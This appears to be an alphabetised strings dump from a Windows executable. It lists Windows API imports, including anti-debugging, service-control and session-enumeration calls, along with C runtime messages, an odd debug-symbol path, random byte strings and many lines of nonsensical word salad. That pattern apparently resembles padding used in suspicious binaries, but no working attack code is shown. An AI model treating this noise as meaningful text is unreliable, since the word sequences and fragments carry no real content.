HeapAlloc
HeapCreate
HeapFree
HeapReAlloc
HeapSize
Hehe optimize organization 
hesitant HMI Prior suitable 
HfffHHFCB>
\HfHHFE>>8
`h`hhh
HH:mm:ss
HHtXHHt
,>HJbB
,{HL{2
hlmmigIGG
holding typography hyphenator interface 
`hO!+q
How Trisquel impersonated graph 
'Hp?8c
Hq~ dT
H' Rg+
h testers leaderboard prefer tools 
i]0t.8U
I8SR<)
I8UR<)
I=%9V!
ID GUID
>If90t
i\Fcd7
Igimooo
iL,m{9
im\&6`M
imaging Parent newspapers visual photographs 
IMM32.dll
ImmGetCompositionStringA
iMvA`SQ
Infinite unloaded Component	 
InitializeCriticalSectionAndSpinCount
Initiative inelegant lang inclusion 
inpout32.dll
InsertMenuItemA
insert ROM
instrumental Planning Realms 
integrate 
integrates resend error 
InterlockedDecrement
InterlockedIncrement
Internet CyrstalDiskInfo adherence 
InvalidateRect
invalid string position
IPropertyStore accuser volatile browses 
IRIS Smartwatch 
IsDebuggerPresent
IsValidCodePage
iUE9<1
"IW0dtv
IwoAL/
I[xjxP,
J0TX?n
J297ZQg
j2j2SS
$j3W];
jaL^ry
JanFebMarAprMayJunJulAugSepOctNovDec
January
	JhZ]y
JIgimmmlllf
j@j ^V
J-KO9W
j#'Lh=
#Jqgy\
j"^SSSSS
justification The switcher 
Justified scripts belongs 
$Jvb9#s
jVj$T2
'Jw,De
>JZ	^9
$K6!2-
K9:886
K>=AAL
;)k&AYu
(.(kBd
kC#1zX9
kernel32
KERNEL32.dll
Kh oqA!
KillTimer
kjmozzznll
Korn Sticky 
kr,)Pr2*
Ks#%g\6
?_)}L%/
.l3VcP!
L 4]YEjJ
;L6C/9-
laJqdY
LCMapStringA
LCMapStringW
LeaveCriticalSection
!lFD~{z
lFL*28
lh@qeg
Lines Catholics Sygate comes 
Listed Phdisk sound 
list<T> too long
l:IUwB
lnomiIID&
lnQ,8n
LoadLibraryA
LoadLibraryExA
LocalAlloc
LocalFree
LocalLock
`local static guard'
`local static thread guard'
LocalUnlock
`local vftable'
`local vftable constructor closure'
lockout increasing s 
lstrcatA
lstrcpyA
lstrcpynA
lstrlenA
ltuBn7=
Lucida Sans Unicode
m0jnbN
M1fc2S
mA|)8t
`managed vector constructor iterator'
`managed vector copy constructor iterator'
`managed vector destructor iterator'
mandated whatever patients Crosstalk pull 
manifest 98Eliminates serious 
M:\AtomicTransaction\megabytes\loo.pdb
m$B|Co1
memcpy
merged CTRL 
Message
MessageBoxA
metabase Send AddLoan VDC2
Micro 
Microsoft Visual C++ Runtime Library
M.k5W{:
MM/dd/yy
Monday
MoveFileExA
MoveWindow
m	q	:,
MulDiv
Mulles Roxio purposes 
MultiByteToWideChar
MultiMedia transforming Projective Proxies 
m\VnRc
m-,x+5
MxGAI$
 +M]Z#
"""""N
+N}{3F
NBCEFY
 new[]
]n{{l/
- not enough space for arguments
- not enough space for environment
- not enough space for locale information
- not enough space for lowio initialization
- not enough space for _onexit/atexit table
- not enough space for stdio initialization
- not enough space for thread data
November
(null)
N~X[ 6
NyxVP5e
""""""""""""o
o""""""
October
o"*Cy{2
;og6Tl
Oguchi utilizing MiniDV job 
`omni callsig'
`'O+n*
 onmacon 
OpenSCManagerA
OpenServiceA
OPeration downloading faceted On YOU 
operator
optimizes Emergency pushing 
Oq(p>x
o	[rq(D
Our Gamma Telesis 
$[>Oxi
oYa>l]
'_	p	<
@/];p\
P88768
__pascal
PathFindFileNameA
}pBNElia
Pending NVIDIA primacy returned associated 
PeP$Ah
,pE{Xt
Pg*-$?
{|pgj 
p[HF	!
ph;'oI
P`^}^K
pKMrAV_
`placement delete closure'
`placement delete[] closure'
Planet due 
Please contact the application's support team for more information.
/PN$$H
poor sloping accessed AMD64 
PostQuitMessage
PPPPPPPP
preference button what Moderator 
premature Decode snapped sufficiently 
Prevention quasi 
Prior 
 ProcessContent cults Uses 
Program: 
<program name unknown>
PSAPI.DLL
__ptr64
- pure virtual function call
PVLCbJHD
Q~22\QK
q3Co>'
Q:988999:::98876$66
?QDh1+N
q{eC[5F
qo^;O,
qqq3vvv3
QQSVWd
QRVj W
=Q~\+T
QueryAllTracesA
QueryPerformanceCounter
QVJdDE(
Q.YAQ~2
!:r _1]
@&R)3x
r4$W+9a
Ra')]1
Ra')]9O*|
racking workloads broken leader secpol 
RaiseException
rAM+Rz
`.rdata
r=dL_*
Rectangle
ReleaseDC
Removable some politically 
        <requestedExecutionLevel level="asInvoker" uiAccess="false"></requestedExecutionLevel>
      </requestedPrivileges>
      <requestedPrivileges>
__restrict
retrace Data 
rjr3ROM
rouse Maps Chiclet 
route client starving Nbtstat 
RtlUnwind
runtime error 
Runtime Error!
S7XT`v
S>999:<
satellite external Help Hardware Ontology 
Saturday
Save current changes in %s?
`scalar deleting destructor'
ScrollBar
    </security>
    <security>
Security 2da array when 
seek continuity lockup typed 
SelectObject
sell ZOMG Patch 
SendDlgItemMessageW
SendMessageA
September
SetBkColor
SetBkMode
SetConsoleCursorPosition
SetConsoleScreenBufferSize
SetConsoleWindowInfo
SetFilePointer
SetFocus
SetHandleCount
SetLastError
SetMapMode
SetMenu
SetRect
SetScrollPos
SetScrollRange
SetStdHandle
SetTextColor
SetTimer
SetUnhandledExceptionFilter
SetWindowLongA
SetWindowWord
S g=9b
shell 20th domain 
shell.dll
SHLWAPI.dll
shortages helpful notes loaded 
shows Aspx driveJob prosecuted 
ShowWindow
SING error
single nounivbe response TRUSTe 
sj0=hl
~SKG3S
s marketers Pacman lag 
sophisticated processes MultiMedia DeBacco Sorter 
( S:Qgd
sR1o1fY
s[S;7|G;w
s	SJWje
sss3vvv3
^SSSSS
s Surely 
StartDocA
static
__stdcall
S_/TR[9mj
`string'
\StringFileInfo\040904B0\FileVersion
string too long
StrToIntExA
su?gS.
Sunday
SunMonTueWedThuFriSat
Sw0NI&
S$W> a
S$W>KEW
SystemTimeToFileTime
(T9ei>;
TDDDDDDGwwwwww
TeamViewer gadgets Persistence 
TerminateProcess
TextOutA
TextOutW
T$/f;$
tfTO!-7
tg]4B0TX
T`g;4~D
_|Th94_`
This application has requested the Runtime to terminate it in an unusual way.
__thiscall
This indicates a bug in your application.
This indicates a bug in your application. It is most likely the result of calling an MSIL-compiled (/clr) function from a native constructor or from DllMain.
!This program cannot be run in DOS mode.
Thursday
Times New Roman
titled deferred Software
< tK<	tG
TLOSS error
TlsAlloc
TlsFree
TlsGetValue
TlsSetValue
TMa)SU
tolerance toward off himself 1967 
Total Messages : %d
touchpad RWs been namely Principal 
tqzVP;.
tR99u2
	 tr;A
Transaction 
translates Association 
treated COA Drum Portability 
True newly Flood VC CentryLink 
  </trustInfo>
  <trustInfo xmlns="urn:schemas-microsoft-com:asm.v3">
t"SS9]
ttt3vvv3
ttt.uuu3
t$<"u	3
Tuesday
;t$,v-
t+WWVPV
 Type Descriptor'
`typeof'
,T?Zm(
""""""")U
	[U(0W
+u6aQS
u8|RX)
ub?gS.{
!U-b~V
`udt returning'
uGHfhhmllHU
u&h`:A
u#I	~~^
Ultra Bold
\U.LV 
UMTS ofComputing instruction VR loose 
- unable to initialize heap
- unable to open console device
__unaligned
- unexpected heap error
- unexpected multithread lock error
UnhandledExceptionFilter
Unknown exception
%]UOm	K
UQPXY]Y[
URPQQh
USER32.dll
USER32.DLL
""""&UUU
""&UUU
""")UUUR"!
UUUUffffff
UUUUUU!
UUUUUUUUffffffff
UUUUUUUUUUffffffffn
UUUUUUUUUUU
UUUUUUUUUUUUfffffff
UUUUUUUUUUUUUffffffi
UUUUUUUUUUUUUVfffff`
UUUUUUUUUUUUUYfffff
UUUUUUUUUUUVfffffff
UUUUUUUUUYffffffff
UUUUUUVfffffffq
UUUUUZ
UYfffff
v6k7*_
variable work 
`vbase destructor'
`vbtable'
*$vbUl
`vcall'
V'EC>+
`vector constructor iterator'
`vector copy constructor iterator'
`vector deleting destructor'
`vector destructor iterator'
`vector vbase constructor iterator'
`vector vbase copy constructor iterator'
VerQueryValueA
VERSION.dll
v/?;Et
`vftable'
VIP initialization Void 
VirtualAlloc
`virtual displacement map'
VirtualFree
v	N+D$
<vph;'
VSSSSh
-VST'B
/VU}[$?h
"!VV1C
vvv3uuu3
V@#`Wu
vx{b(z@
"""""""""""""""w!
Want variance hedge Exception Imperative 
w(#DO,
Wednesday
we've Systems Interference folks marker 
WFHFEA=>
wF&X@_
WGa)SU
which answer 
WideCharToMultiByte
WIIFM over AutoPlay Broadband 
Window
WINDOWS
Wj)~K"
wjp|~~zyn
WnIi$TF
wnsprintfA
&WN!Uq
,WQHa/
wQ^ZNWW
WriteConsoleA
WriteConsoleW
WriteFile
writes Nimrod metaphysical 
writing Platforms packaged Slice 
<wrOBw
wsprintfA
WTSAPI32.dll
WTSEnumerateSessionsA
WTSFreeMemory
|w/~{v/{xs/
ww"""/
ww}""/
'wwww}
'wwwww}
wwwww}
wwwwwp
wwwwwr
*wwwwwr"/
wwwwww
wwwwww"/
wwwwww}
wwwwwww
wwwwwww}
wwwwwww}/
wwwwwwww
>Wx&7M
wX]\>8
'x4/]]
X82,o-0
x86 supplied 
}xBNYli}
Xe%oUh
xF%9*ii
/Xk6_P8D
. xKNA
X}N%QH
];-$XP
+x~@!Pp
xppwpp
<Xp=;u
xpxxxx
xQ$UE9Z
xy(j`v9
^\X#_]Y#^\Y#[XT
xZ_FzHb
Y43A"s
]`;+Yc
y/[^Dc
;;ydL-
y{,	;h
YI(511o#G
YL|z3)z
Yoewru
Y!sdEx
>=Yt1j
yzoigg;4
""""""""""""""""""z
z0em=t
z1wLG-
'Z:2J@`P
>^Z	^9
ZB>d[y+
ZcGKA2
|Ze{J?K
"zjk5G
Zm+yXM
*&zP|=
zTC{<:
zUml#e
zVP;.?k
Zy{yy{l.
Z(-zVP